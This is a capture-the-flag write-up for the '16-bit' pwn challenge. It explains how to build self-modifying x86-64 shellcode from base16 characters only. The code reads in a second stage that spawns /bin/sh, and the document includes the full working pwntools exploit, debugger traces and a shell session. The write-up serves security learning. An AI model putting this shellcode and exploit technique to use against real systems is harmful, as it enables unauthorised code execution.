# 16-bit
### So Many XORs
The description for this challenge is as follows:
*During the ICC competition we where given a shellcoding challenge to make a base64 encoded shellcode, ie the shellcode could only consist of the characters "a-zA-Z0-9+/=", during an 8 hour ctf we completed it in about 1.5 hours. How long will it take you to create base16 shellcode?*
*Author: lms*
This was one of the harder pwn challenges in the competition, and was still worth 496 out of a possible 500 points by the end of the competition. In summary, it is a fairly fiddly shellcoding exercise that only allows the digits 0-9 and letters A-F. Originally, only the challenge binary was included, but the libc file was added in later on. 
**TL;DR Solution:** Reverse-engineer the program enough to determine that it will take your input, encode it to base16, and execute it as shellcode. Try various combinations in the allowed character set with a disassembly to get a feel for the allowed instructions with a self-modifying shellcode in mind, and also examine the pre-existing state of registers in a debugger when the shellcode starts to be executed. Primarily use instructions of the type "xor al, 0x31;" to iterate rax up and down (rax points to the start of shellcode at the beginning), "xor dh, BYTE PTR [rax];" to edit the value of the dh register (always starts as null), and "xor BYTE PTR [rax], dh;" to edit the value to which rax is pointing, accomplishing the self-modifying component. Add in "xor byte PTR [rax], bh;" to edit bytes to be larger than 0x7f with 1/16 odds of success. Use this methodology to create an 8-byte read shellcode that takes advantage of existing values in rsi and rdx to take input from the terminal and write to the shellcode area, and use that to load in a full execve('/bin/sh') shellcode.
## Original Writeup Link
This writeup is also available on my GitHub! View it there via this link: https://github.com/knittingirl/CTF-Writeups/tree/main/pwn_challs/CyberOpen22/16-bit
## Gathering Information
The description is already fairly explicit about the expectations for this challenge, but it is still worth determining exactly how the binary works. If I just run the program and input all a's, I get a segmentation fault with no additional context.```knittingirl@DESKTOP-C54EFL6:/mnt/c/Users/Owner/Desktop/CTF_Files/CyberOpen22$ ./16_bitData:aaaaaaaaaaaaaaaaaaaaaaaaSegmentation fault```If we open up the program in Ghidra, it looks like our shellcode is getting loaded into an mmapped rwx section at a static location, run through some sort of encoding function, and executed. Based on the challenge, we can probably safely assume that the encoding in question is base16.```undefined8 main(void)
{  void *pvVar1;   setup();  pvVar1 = mmap((void *)0x133713370000,0x1000,7,0x32,-1,0);  if (pvVar1 != (void *)0x133713370000) {    puts("mmap failed");                    /* WARNING: Subroutine does not return */    exit(-1);  }                    /* read into static location */  read(0,(void *)0x133713370000,100);  encode(0x133713370000);  (*(code *)0x133713370000)();  return 0;}```We can further confirm this in GDB by setting a breakpoint at the point where the shellcode address is called: a set of ten a's and a newline is turned into "616161616161616161610A" followed by a lot of 0's that are presumably encoded nulls. This also shows that the alphabet component is uppercase, not lowercase.```0x555555555439 <main+136>       mov    rdi, rax   0x55555555543c <main+139>       call   0x555555555258 <encode>   0x555555555441 <main+144>       mov    rax, QWORD PTR [rbp-0x10] → 0x555555555445 <main+148>       call   rax   0x555555555447 <main+150>       mov    eax, 0x0   0x55555555544c <main+155>       leave   0x55555555544d <main+156>       ret   0x55555555544e                  xchg   ax, ax   0x555555555450 <__libc_csu_init+0> push   r15─────────────────────────────────────────────────────────────────────────────────────────── arguments (guessed) ────*0x133713370000 (   $rdi = 0x00007fffffffdfa0 → "aaaaaaaaaa\n")─────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────[#0] Id 1, Name: "16_bit", stopped 0x555555555445 in main (), reason: BREAKPOINT───────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────[#0] 0x555555555445 → main()────────────────────────────────────────────────────────────────────────────────────────────────────────────────────gef➤  x/s $rax0x133713370000: "616161616161616161610A", '0' <repeats 178 times>gef➤```At this point, we can also examine the pre-existing register values, since this tends to be very helpful in restricted shellcode scenarios. In particular, rax, rsi, and rdx all seem to be based on the shellcode area. ```gef➤  info registersrax            0x133713370000      0x133713370000rbx            0x555555555450      0x555555555450rcx            0x555555558060      0x555555558060rdx            0x1337133700c6      0x1337133700c6rsi            0x133713370000      0x133713370000rdi            0x7fffffffdfa0      0x7fffffffdfa0rbp            0x7fffffffe050      0x7fffffffe050rsp            0x7fffffffe040      0x7fffffffe040r8             0xffffffff          0xffffffffr9             0x0                 0x0r10            0x5555555545a9      0x5555555545a9r11            0x7ffff7f505f0      0x7ffff7f505f0r12            0x5555555550b0      0x5555555550b0r13            0x7fffffffe140      0x7fffffffe140r14            0x0                 0x0r15            0x0                 0x0rip            0x555555555445      0x555555555445 <main+148>eflags         0x202               [ IF ]cs             0x33                0x33ss             0x2b                0x2bds             0x0                 0x0es             0x0                 0x0fs             0x0                 0x0gs             0x0                 0x0```Now, since this is a very restricted environment, we probably want to keep the shellcode to be executed as short and simple as possible. One great way to do that is by doing a read into the shellcode area, which can typically be done in far fewer bytes than a full execve(/bin/sh) shellcode, which can be input later when the read is called. In this case, the read call also only needs to have rdi and rax modified, since rsi is pointing toward to the shellcode area and rdx is a large, non-negative number. As a result, our goal shellcode is:```xor rdi, rdi;xor rax, rax;syscall;```Which compiles to an eight-byte long `H1\xffH1\xc0\x0f\x05`
## Selecting Useful Instructions
My methodology for finding assembly instructions for this challenges was to use pwntools in a python console to disassemble test combinations of the allowed bytes and see what assembly instructions they correspond to. In hindsight, I could have done better since I basically decided I had enough instructions after testing two-byte instructions and did not find any useful three-byte instructions in my handful of tests; in future, I would recommend actually scripting out something to test all possible combinations up to some number of bytes in order to avoid missing something important, since I have since learned that three-byte instructions that would have been helpful do exist.```>>> from pwn import *>>> context.clear(arch='amd64')>>> disasm(b'0')'   0:   30                      .byte 0x30'>>>```Of the instructions that I was able to find, here are the ones that stuck out the most. In particular, operations involving the rax register stuck out as very interesting because the register is pre-populated with the shellcode's starting address, I can edit the low byte (al register) by XORing it with one of our allowed characters in order to adjust the byte of shellcode to which it is pointing, I am able to edit the byte to which rax is pointing by XORing it with the dh or bh register (second lowest byte of rdx and rbx respectively), and I am also able to use the byte to which rax is pointing in order to edit the dh or bh registers themselves. ```disasm(b'40')'   0:   34 30                   xor    al, 0x30'>>> disasm(b'00')'   0:   30 30                   xor    BYTE PTR [rax], dh'>>> disasm(b'08')'   0:   30 38                   xor    BYTE PTR [rax], bh'>>> disasm(b'20')'   0:   32 30                   xor    dh, BYTE PTR [rax]'>>> disasm(b'28')'   0:   32 38                   xor    bh, BYTE PTR [rax]'```For an additional bit of context, since rdx is always pointing to the same, static shellcode location, dh has a constant starting value of 0x0 (from 0x1337133700c6). On the other hand, rbx points to a PIE value. Since bh is the second lowest byte, its lowest nibble is one of the lowest three nibbles in the address, which will be a constant value (in this case, 4); however, its higher nibble can have any one of 16 values. As a result, I held off on using bh as long as possible until I realized that if I did not use it, I could only modify bytes to values that you can obtain by XORing combinations of 0x30-0x39 and 0x41-0x46. If you convert those numbers to 8-bit binary, the highest bit will never be set, so XORing cannot create bytes where the highest bit, so we can't make shellcode with bytes like 0xff or 0xc0, which exist in our target shellcode. As a result, I either had to edit my target shellcode to only use more achievable bytes, risking making my shellcode too long since I only have about 200 bytes, finding additional instructions, or using the bh register with an assumed value that will be hit 1/16 times; I opted for the latter.
To clarify, my shellcode modification methodology basically boils down to:
#1. Use instructions like `xor al, 0x30` to make rax point to specific bytes.
#2. Use the byte to which rax is pointing to edit dh or bh with instructions like `xor dh, BYTE PTR [rax]`
#3. Use something like `xor al, 0x30` again to point rax at another byte.
#4. Actually edit the byte to which rax is pointing using something like `xor BYTE PTR [rax], dh`
Some steps in that outline may get repeated depending on how many XORs are needed to get the desired byte written given our selection of bytes. I ended up placing the bytes to be edited at an offset of 0x70 since that was relatively simple to get rax pointed at (i.e. 0x70 = 0x41 ^ 0x31). I also opted to place some valid instructions chosen primarily for the bytes that they contain around 0x30 in order to make it easier to xor dh or bh with various bytes based on the value to which rax is pointing.
I also used sequences of 60's as a stand-in for NOPs in order to get through some of the spaces between areas of my shellcode. This creates `the xor BYTE PTR [rsi], dh`, which is relatively harmless; this padding simply needs to be of an even length.
## Writing the Shellcode
### Writing 0x48
With all that in mind, we can start writing the full shellcode! As a refresher, we want to write the bytes `H1\xffH1\xc0\x0f\x05` 0x70 bytes from the start of the shellcode area. On the bright side, this code contains two 1's, which are actually allowed bytes that I don't have to edit!
I opted to start with the H's, and did both of them at once for a slight efficiency gain. H = 0x48, and 0x48 = 0x41 ^ 0x30 ^ 0x39. As a result, the plan here was:
#1. Strategically pre-populate certain offsets with useful bytes. Specifically, I put `xor dh, BYTE PTR [rax]; xor al, 0x39;`, or `2049`, at offset 0x30 to get easy access to bytes 0x30 and 0x39, and 0x41 at offsets 0x70 and 0x73 (as well as 0x31's at 0x71 and 0x74) so that they can be transformed into 0x48's more easily.
#2. Get rax pointed at a 0x39 byte (note the specific sequence of byte values doesn't really matter)
#3. XOR dh with that value. dh starts at null, so it will just equal 0x39 now.
#4. Move rax to pointing at a 0x30 byte.
#5. XOR dh with that byte. Now dh = 0x09.
#6. Move rax to pointing at the byte at offset 0x70. 
#7. XOR dh (0x09) with the value at that offset 0x70 (0x41). Now it is 0x48!
#8. Move rax up to offset 0x73 and XOR that byte with dh again to get another 0x48.
Here is the shellcode to achieve this:```from pwn import *
target = process('./chal_patched') #, env={'LD_PRELOAD': 'libc_16bit.so.6'})
pid = gdb.attach(target, "\nb *main+148\n set disassembly-flavor intel\ncontinue")#target = remote('0.cloud.chals.io', 23261)context.clear(arch='amd64')import base64
#Write in the first Hshellcode = asm('''xor al, 0x33; xor dh, BYTE PTR [rax];xor al, 0x33;xor al, 0x31;xor dh, BYTE PTR [rax];xor al, 0x41;xor BYTE PTR [rax], dh;''')#Write in the second Hshellcode += asm('''xor al, 0x33;xor al, 0x30;xor BYTE PTR [rax], dh;''')
print(len(shellcode))shellcode += asm('xor BYTE PTR [rsi], dh;') * ((0x30 - len(shellcode)) // 2)shellcode += asm('''xor dh, BYTE PTR [rax]xor al, 0x39;''')
payload = base64.b16decode(shellcode + asm('xor BYTE PTR [rsi], dh;') * ((0x70 - len(shellcode)) // 2) + b'A' + b'10' + b'A' + b'1' + b'0' * 3) 
print(payload)target.sendline(payload)
target.interactive()```And here is a GDB snippet showing the success off this operation:``` → 0x133713370014                  xor    BYTE PTR [rax], dh   0x133713370016                  xor    BYTE PTR [rax], dh   0x133713370018                  xor    BYTE PTR [rax], dh   0x13371337001a                  xor    BYTE PTR [rax], dh   0x13371337001c                  xor    BYTE PTR [rax], dh   0x13371337001e                  xor    BYTE PTR [rax], dh─────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────[#0] Id 1, Name: "chal_patched", stopped 0x133713370014 in ?? (), reason: SINGLE STEP───────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────[#0] 0x133713370014 → xor BYTE PTR [rax], dh[#1] 0x55b7182c7447 → main()────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────gef➤  x/8bx 0x1337133700700x133713370070: 0x48    0x31    0x30    0x48    0x31    0x30    0x30    0x30```
### Writing 0xff and 0xc0:
The next byte to write is 0xff at offset 0x72. This introduces the necessity of finding a larger byte to add into the XOR operation, and I opted to use the bh register on the 1/16 odds that it equals 0xf4. Now, 0xff = 0xf4 ^ 0xb, and 0xb = 0x9 ^ 0x30 ^ 0x32; 0x9 is included since that is the pre-existing value in dh. This means that we can insert a relative short shellcode snippet can be inserted directly after the `xor BYTE PTR [rax], dh` instruction that writes the last H:```#Remember dh = 0x9 and al = 0x73 at this point.shellcode += asm('''xor al, 0x42;xor dh, BYTE PTR [rax];xor al, 0x43;xor BYTE PTR [rax], bh;xor BYTE PTR [rax], dh; ''')```We can confirm that this is working in GDB by manually setting bh to 0xf4 (`set $bh=0xf4`) before instructions involving that register. We now have an `xor rdi, rdi` instruction!```   0x13371337001e                  xor    BYTE PTR [rax], dh   0x133713370020                  xor    BYTE PTR [rax], dh   0x133713370022                  xor    BYTE PTR [rax], dh   0x133713370024                  xor    BYTE PTR [rax], dh   0x133713370026                  xor    BYTE PTR [rax], dh   0x133713370028                  xor    BYTE PTR [rax], dh─────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────[#0] Id 1, Name: "chal_patched", stopped 0x13371337001e in ?? (), reason: SINGLE STEP───────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────[#0] 0x13371337001e → xor BYTE PTR [rax], dh[#1] 0x55be9ed5a447 → main()────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────gef➤  x/8bx 0x1337133700700x133713370070: 0x48    0x31    0xff    0x48    0x31    0x30    0x30    0x30gef➤  x/i 0x133713370070   0x133713370070:      xor    rdi,rdi```From this point, writing 0xc0 at 0x75 is relatively simple. 0xc0 = 0xf4 ^ 0x34, so we can just prepopulate the offset with a 0x34, move rax over there, and XOR it with bh. So, just add:```shellcode += asm('''xor al, 0x30;xor al, 0x37;xor BYTE PTR [rax], bh;''')```And view the results in GDB. Now we have two out three instructions fully written!```→ 0x133713370024                  xor    BYTE PTR [rax], dh   0x133713370026                  xor    BYTE PTR [rax], dh   0x133713370028                  xor    BYTE PTR [rax], dh   0x13371337002a                  xor    BYTE PTR [rax], dh   0x13371337002c                  xor    BYTE PTR [rax], dh   0x13371337002e                  xor    BYTE PTR [rax], dh─────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────[#0] Id 1, Name: "chal_patched", stopped 0x133713370024 in ?? (), reason: SINGLE STEP───────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────[#0] 0x133713370024 → xor BYTE PTR [rax], dh[#1] 0x5625ff5c3447 → main()────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────gef➤  x/8bx 0x1337133700700x133713370070: 0x48    0x31    0xff    0x48    0x31    0xc0    0x30    0x30gef➤  x/2i 0x133713370070   0x133713370070:      xor    rdi,rdi   0x133713370073:      xor    rax,raxgef➤```
### Writing Syscall
The bytes in syscall are also relatively simple to achieve, so it makes sense to focus on those next. 0x0f = 0x39 ^ 0x36 (dh is already set to 0x39), and 0x05 = 0x39 ^ 0xf 0x33 (just do an xor dh, BYTE PTR [rax] immediately after setting BYTE PTR [rax] to 0xf). At this point, I was quite close to the arbitrary bytes that I had place in the middle of my space, so I only had space for the 0x0f write before that. So, after that write, I have some instances of `xor BYTE PTR [rsi], dh;`, which should write to writeable memory whose content no longer matters, then the `xor dh, BYTE PTR [rax]; xor al, 0x39;`. The first instruction gets dh to the desired value, then I can just do some additional XORs to get rax to point at the desired spot, XOR it, and finish the syscall! The relevant portion of code is:```#Writing the 0x0f to 0x76:#Remember dh = 0x39 and al = 0x75 at this point.shellcode += asm('''xor al, 0x30;xor al, 0x33;xor BYTE PTR [rax], dh;''')#Writing the 0x05 to 0x77:#Remember dh = 0x39 and al = 0x75 at this point.
print(len(shellcode))shellcode += asm('xor BYTE PTR [rsi], dh;') * ((0x30 - len(shellcode)) // 2)shellcode += asm('''xor dh, BYTE PTR [rax]xor al, 0x39;''')
shellcode += asm('''xor al, 0x39;xor al, 0x30;xor al, 0x31;xor BYTE PTR [rax], dh;''')
payload = base64.b16decode(shellcode + asm('xor BYTE PTR [rsi], dh;') * ((0x70 - len(shellcode)) // 2) + b'A' + b'12' + b'A' + b'14' + b'63')```If we run the code, and set bh = 0xf4 in a debugger (or get lucky), we can see that we successfully trigger a read.```0x13371337006e                  xor    BYTE PTR [rsi], dh   0x133713370070                  xor    rdi, rdi   0x133713370073                  xor    rax, rax → 0x133713370076                  syscall   0x133713370078                  xor    BYTE PTR [rcx+0x30], al   0x13371337007b                  xor    BYTE PTR [rax], dh   0x13371337007d                  xor    BYTE PTR [rax], dh   0x13371337007f                  xor    BYTE PTR [rax], dh   0x133713370081                  xor    BYTE PTR [rax], dh─────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────[#0] Id 1, Name: "chal_patched", stopped 0x133713370076 in ?? (), reason: SINGLE STEP───────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────[#0] 0x133713370076 → syscall[#1] 0x556ffa0d7447 → main()────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────gef➤...knittingirl@DESKTOP-C54EFL6:/mnt/c/Users/Owner/Desktop/CTF_Files/CyberOpen22$ python3 16_bit_writeup.py[+] Starting local process './chal_patched': pid 22654[*] running in new terminal: ['/usr/bin/gdb', '-q', './chal_patched', '22654', '-x', '/tmp/pwnil9sxkp4.gdb'][+] Waiting for debugger: Done42b'C CA J\x00C@\x00K L\x08\x00@G\x08@C\x00\x06\x06\x06 II@A\x00\x06\x06\x06\x06\x06\x06\x06\x06\x06\x06\x06\x06\x06\x06\x06\x06\x06\x06\x06\x06\x06\x06\x06\x06\x06\x06\xa1*\x14c'[*] Switching to interactive modeData:$ aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa$```
## Second-Stage Shellcode for Shell
Now that I have a read in place, I can just send in whatever shellcode I want, and it will be executed as long as I include enough padding at the beginning to make the start of my actual code level with end of my read call (0x80 bytes of NOPs is about right!). As a result, I wrote a simple execve('/bin/sh') shellcode; I avoided pushes and pops since those seemed to be causing issues on my local machine. The full, final exploit script is:```from pwn import *
#target = process('./chal_patched') #, env={'LD_PRELOAD': 'libc_16bit.so.6'})
#pid = gdb.attach(target, "\nb *main+148\n set disassembly-flavor intel\ncontinue")target = remote('0.cloud.chals.io', 23261)context.clear(arch='amd64')import base64
#Write in the first Hshellcode = asm('''xor al, 0x33; xor dh, BYTE PTR [rax];xor al, 0x33;xor al, 0x31;xor dh, BYTE PTR [rax];xor al, 0x41;xor BYTE PTR [rax], dh;''')#Write in the second Hshellcode += asm('''xor al, 0x33;xor al, 0x30;xor BYTE PTR [rax], dh;''')#Writing the 0xff:#Remember dh = 0x9 and al = 0x73 at this point.shellcode += asm('''xor al, 0x42;xor dh, BYTE PTR [rax];xor al, 0x43;xor BYTE PTR [rax], bh;xor BYTE PTR [rax], dh; ''')#Writing the 0xc0:#Remember dh = 0x39 and al = 0x72 at this point.shellcode += asm('''xor al, 0x30;xor al, 0x37;xor BYTE PTR [rax], bh;''')#Writing the 0x0f to 0x76:#Remember dh = 0x39 and al = 0x75 at this point.shellcode += asm('''xor al, 0x30;xor al, 0x33;xor BYTE PTR [rax], dh;''')#Writing the 0x05 to 0x77:#Remember dh = 0x39 and al = 0x75 at this point.
print(len(shellcode))shellcode += asm('xor BYTE PTR [rsi], dh;') * ((0x30 - len(shellcode)) // 2)shellcode += asm('''xor dh, BYTE PTR [rax]xor al, 0x39;''')
shellcode += asm('''xor al, 0x39;xor al, 0x30;xor al, 0x31;xor BYTE PTR [rax], dh;''')
payload = base64.b16decode(shellcode + asm('xor BYTE PTR [rsi], dh;') * ((0x70 - len(shellcode)) // 2) + b'A' + b'12' + b'A' + b'14' + b'63') 
print(payload)target.sendline(payload)
payload2 = b'\x90' * 0x80payload2 += asm('''lea rdi, [rip+0x30];xor rsi, rsi;xor rdx, rdx;mov rax, 59;syscall;''')payload2 += b'\x90' * (0x30 - len(payload2) + 0x80 + 7) + b'/bin/sh\x00'
target.sendline(payload2)target.interactive()```Then you just run it a few times until you get a shell; if my odds of success were worse, I would have set up a proper while loop and automatically printed the flag out if possible:```knittingirl@DESKTOP-C54EFL6:/mnt/c/Users/Owner/Desktop/CTF_Files/CyberOpen22$ python3 16_bit_writeup.py[+] Opening connection to 0.cloud.chals.io on port 23261: Done42b'C CA J\x00C@\x00K L\x08\x00@G\x08@C\x00\x06\x06\x06 II@A\x00\x06\x06\x06\x06\x06\x06\x06\x06\x06\x06\x06\x06\x06\x06\x06\x06\x06\x06\x06\x06\x06\x06\x06\x06\x06\x06\xa1*\x14c'[*] Switching to interactive modeData:$ ls-banner_failbinbootchaldevetcflag.txthomeliblib32lib64libx32mediamntoptprocrootrunsbinservice.confsrvsystmpusrvarwrapper$ cat flag.txtuscg{Nothing_Like_A_Bit_Of_Shellcode_For_The_Week}$```For additional reference, the base16-encoded shellcode looks like `43204341204A004340004B204C08004047084043000606062049494041000606060606060606060606060606060606060606060606060606A12A14630A`
Thanks for reading!